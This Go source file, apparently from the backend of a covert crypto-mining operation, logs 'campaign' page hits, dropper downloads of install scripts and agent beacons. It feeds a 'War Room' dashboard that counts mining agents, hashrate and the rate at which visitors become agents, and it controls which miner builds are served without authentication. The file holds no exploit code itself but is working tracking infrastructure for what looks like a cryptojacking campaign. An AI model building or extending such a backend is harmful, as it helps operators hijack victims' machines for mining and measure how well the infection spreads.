package db import ( "fmt" "math" "strings" "time" "crypto-miner-server/internal/models" ) const ( CampaignEventPageHit = "page_hit" CampaignEventDownload = "download" CampaignEventAgentConnect = "agent_connect" ) // LogCampaignEvent records a funnel event (page_hit, download, agent_connect) for a campaign slug. func (d *Database) LogCampaignEvent(campaign, buildID, eventType, source, ip, userAgent string) error { campaign = sanitizeCampaign(campaign) if campaign == "" { return nil } if eventType == "" { eventType = inferCampaignEventType(source) } _, err := d.Exec( `INSERT INTO campaign_hits (campaign, build_id, source, event_type, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?, ?)`, campaign, buildID, source, eventType, ip, userAgent, time.Now(), ) return err } // LogCampaignHit records a dropper or public-download fetch with optional campaign tag. func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error { return d.LogCampaignEvent(campaign, buildID, inferCampaignEventType(source), source, ip, userAgent) } func inferCampaignEventType(source string) string { switch source { case "get", "public_download": return CampaignEventDownload case "ws_auth", "agent_connect": return CampaignEventAgentConnect case "install.sh", "install.ps1", "install.command": return CampaignEventPageHit default: return CampaignEventPageHit } } func effectiveEventType(stored, source string) string { if stored != "" { return stored } return inferCampaignEventType(source) } func appendUniquePin(pins []string, buildID string) []string { buildID = strings.TrimSpace(buildID) if buildID == "" { return pins } for _, p := range pins { if p == buildID { return pins } } return append(pins, buildID) } func sanitizeCampaign(c string) string { c = strings.TrimSpace(c) if len(c) > 64 { c = c[:64] } // Allow alphanumeric, dash, underscore, dot var b strings.Builder for _, r := range c { if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' { b.WriteRune(r) } } return b.String() } // CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard. type CampaignHitSummary struct { Campaign string `json:"campaign"` Count int `json:"count"` LastHit string `json:"last_hit"` } func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) { if limit <= 0 || limit > 500 { limit = 100 } rows, err := d.Query(` SELECT campaign, COUNT(*) AS cnt, MAX(created_at) AS last_hit FROM campaign_hits GROUP BY campaign ORDER BY cnt DESC LIMIT ?`, limit) if err != nil { return nil, err } defer rows.Close() var out []CampaignHitSummary for rows.Next() { var s CampaignHitSummary var lastRaw string if err := rows.Scan(&s.Campaign, &s.Count, &lastRaw); err != nil { return nil, err } if t, err := time.Parse("2006-01-02 15:04:05-07:00", lastRaw); err == nil { s.LastHit = t.Format(time.RFC3339) } else if t, err := time.Parse(time.RFC3339, lastRaw); err == nil { s.LastHit = t.Format(time.RFC3339) } else { s.LastHit = lastRaw } out = append(out, s) } return out, nil } // WarRoomCampaign is per-slug funnel stats for the Emberwake War Room dashboard. type WarRoomCampaign struct { Campaign string `json:"campaign"` Hits int `json:"hits"` Downloads int `json:"downloads"` FirstBeacon int `json:"first_beacon"` Mining int `json:"mining"` Agents int `json:"agents"` Online int `json:"online"` Hashrate float64 `json:"hashrate"` ConversionPct float64 `json:"conversion_pct"` DailyHits []int `json:"daily_hits"` LastActivity string `json:"last_activity,omitempty"` Pins []string `json:"pins,omitempty"` } // WarRoomResponse aggregates funnel stats across campaigns for a date window. type WarRoomResponse struct { GeneratedAt string `json:"generated_at"` Days int `json:"days"` Campaigns []WarRoomCampaign `json:"campaigns"` } // ListWarRoom returns funnel stats per campaign for the last N days. func (d *Database) ListWarRoom(days int) (*WarRoomResponse, error) { if days <= 0 || days > 90 { days = 7 } since := time.Now().AddDate(0, 0, -days) dayKeys := make([]string, days) dayIndex := map[string]int{} for i := 0; i < days; i++ { day := since.AddDate(0, 0, i).Format("2006-01-02") dayKeys[i] = day dayIndex[day] = i } byCampaign := map[string]*WarRoomCampaign{} addCampaign := func(slug string) *WarRoomCampaign { if c, ok := byCampaign[slug]; ok { return c } c := &WarRoomCampaign{ Campaign: slug, DailyHits: make([]int, days), } byCampaign[slug] = c return c } rows, err := d.Query(` SELECT campaign, COALESCE(event_type, ''), source, COUNT(*) AS cnt FROM campaign_hits WHERE created_at >= ? AND campaign != '' GROUP BY campaign, COALESCE(event_type, ''), source`, since) if err != nil { return nil, err } for rows.Next() { var slug, eventType, source string var cnt int if err := rows.Scan(&slug, &eventType, &source, &cnt); err != nil { rows.Close() return nil, err } c := addCampaign(slug) switch effectiveEventType(eventType, source) { case CampaignEventDownload: c.Downloads += cnt case CampaignEventAgentConnect: // agent_connect rows are funnel signals; agent counts come from agents table default: c.Hits += cnt } } rows.Close() dailyRows, err := d.Query(` SELECT campaign, created_at, COALESCE(event_type, ''), source FROM campaign_hits WHERE created_at >= ? AND campaign != ''`, since) if err != nil { return nil, err } for dailyRows.Next() { var slug, createdRaw, eventType, source string if err := dailyRows.Scan(&slug, &createdRaw, &eventType, &source); err != nil { dailyRows.Close() return nil, err } if effectiveEventType(eventType, source) != CampaignEventPageHit { continue } day := campaignHitDay(createdRaw) if idx, ok := dayIndex[day]; ok { c := addCampaign(slug) c.DailyHits[idx]++ } } dailyRows.Close() agentRows, err := d.Query(` SELECT campaign, COUNT(*) AS agents, SUM(CASE WHEN status = 'online' THEN 1 ELSE 0 END) AS online, COALESCE(SUM(CASE WHEN status = 'online' THEN hashrate_15m ELSE 0 END), 0) AS hashrate, SUM(CASE WHEN hashrate_15m > 0 OR gpu_hashrate_15m > 0 THEN 1 ELSE 0 END) AS mining FROM agents WHERE campaign != '' GROUP BY campaign`) if err != nil { return nil, err } for agentRows.Next() { var slug string var agents, online, mining int var hashrate float64 if err := agentRows.Scan(&slug, &agents, &online, &hashrate, &mining); err != nil { agentRows.Close() return nil, err } c := addCampaign(slug) c.Agents = agents c.FirstBeacon = agents c.Mining = mining c.Online = online c.Hashrate = hashrate } agentRows.Close() lastRows, err := d.Query(` SELECT campaign, MAX(created_at) AS last_hit FROM campaign_hits WHERE campaign != '' GROUP BY campaign`) if err != nil { return nil, err } for lastRows.Next() { var slug, lastRaw string if err := lastRows.Scan(&slug, &lastRaw); err != nil { lastRows.Close() return nil, err } c := addCampaign(slug) c.LastActivity = formatCampaignTime(lastRaw) } lastRows.Close() pinRows, err := d.Query(` SELECT DISTINCT campaign, build_id FROM campaign_hits WHERE campaign != '' AND build_id != ''`) if err != nil { return nil, err } for pinRows.Next() { var slug, buildID string if err := pinRows.Scan(&slug, &buildID); err != nil { pinRows.Close() return nil, err } c := addCampaign(slug) c.Pins = appendUniquePin(c.Pins, buildID) } pinRows.Close() agentPinRows, err := d.Query(` SELECT DISTINCT campaign, build_id FROM agents WHERE campaign != '' AND build_id != ''`) if err != nil { return nil, err } for agentPinRows.Next() { var slug, buildID string if err := agentPinRows.Scan(&slug, &buildID); err != nil { agentPinRows.Close() return nil, err } c := addCampaign(slug) c.Pins = appendUniquePin(c.Pins, buildID) } agentPinRows.Close() out := make([]WarRoomCampaign, 0, len(byCampaign)) for _, c := range byCampaign { if c.Hits > 0 { c.ConversionPct = math.Round((float64(c.Agents)/float64(c.Hits))*1000) / 10 } out = append(out, *c) } // Sort by hits desc, then agents desc for i := 0; i < len(out); i++ { for j := i + 1; j < len(out); j++ { if out[j].Hits > out[i].Hits || (out[j].Hits == out[i].Hits && out[j].Agents > out[i].Agents) { out[i], out[j] = out[j], out[i] } } } if out == nil { out = []WarRoomCampaign{} } return &WarRoomResponse{ GeneratedAt: time.Now().UTC().Format(time.RFC3339), Days: days, Campaigns: out, }, nil } func campaignHitDay(raw string) string { for _, layout := range []string{ time.RFC3339, "2006-01-02 15:04:05-07:00", "2006-01-02 15:04:05", "2006-01-02", } { if t, err := time.Parse(layout, raw); err == nil { return t.Format("2006-01-02") } } if len(raw) >= 10 { return raw[:10] } return "" } func formatCampaignTime(raw string) string { if t, err := time.Parse("2006-01-02 15:04:05-07:00", raw); err == nil { return t.Format(time.RFC3339) } if t, err := time.Parse(time.RFC3339, raw); err == nil { return t.Format(time.RFC3339) } return raw } // ListPublicBuilds returns builds eligible for unauthenticated download. // When allEnabled, every build is returned; otherwise pinned + public-flagged + latest N. func (d *Database) ListPublicBuilds(allEnabled bool, latestN int) ([]*models.BuildRecord, error) { if allEnabled { return d.ListBuilds(50) } if latestN <= 0 { latestN = 3 } seen := map[string]bool{} var out []*models.BuildRecord add := func(b *models.BuildRecord) { if b == nil || seen[b.ID] { return } seen[b.ID] = true out = append(out, b) } // Pinned builds pinnedRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC`) if err == nil { defer pinnedRows.Close() for pinnedRows.Next() { b, err := scanBuild(pinnedRows) if err == nil { add(b) } } } // Operator-marked public publicRows, err := d.Query(`SELECT ` + buildSelectCols + ` FROM builds WHERE public = 1 ORDER BY created_at DESC`) if err == nil { defer publicRows.Close() for publicRows.Next() { b, err := scanBuild(publicRows) if err == nil { add(b) } } } // Latest N by created_at latestRows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, latestN) if err == nil { defer latestRows.Close() for latestRows.Next() { b, err := scanBuild(latestRows) if err == nil { add(b) } } } if out == nil { out = []*models.BuildRecord{} } return out, nil } // IsBuildPubliclyDownloadable checks whether a build may be fetched without auth. func (d *Database) IsBuildPubliclyDownloadable(id string, allEnabled bool, latestN int) (bool, error) { if allEnabled { _, err := d.GetBuild(id) return err == nil, err } builds, err := d.ListPublicBuilds(false, latestN) if err != nil { return false, err } for _, b := range builds { if b.ID == id { return true, nil } } return false, nil } // SetBuildPublic toggles the operator public flag on a build. func (d *Database) SetBuildPublic(id string, public bool) error { val := 0 if public { val = 1 } res, err := d.Exec(`UPDATE builds SET public = ? WHERE id = ?`, val, id) if err != nil { return err } n, _ := res.RowsAffected() if n == 0 { return fmt.Errorf("build not found: %s", id) } return nil }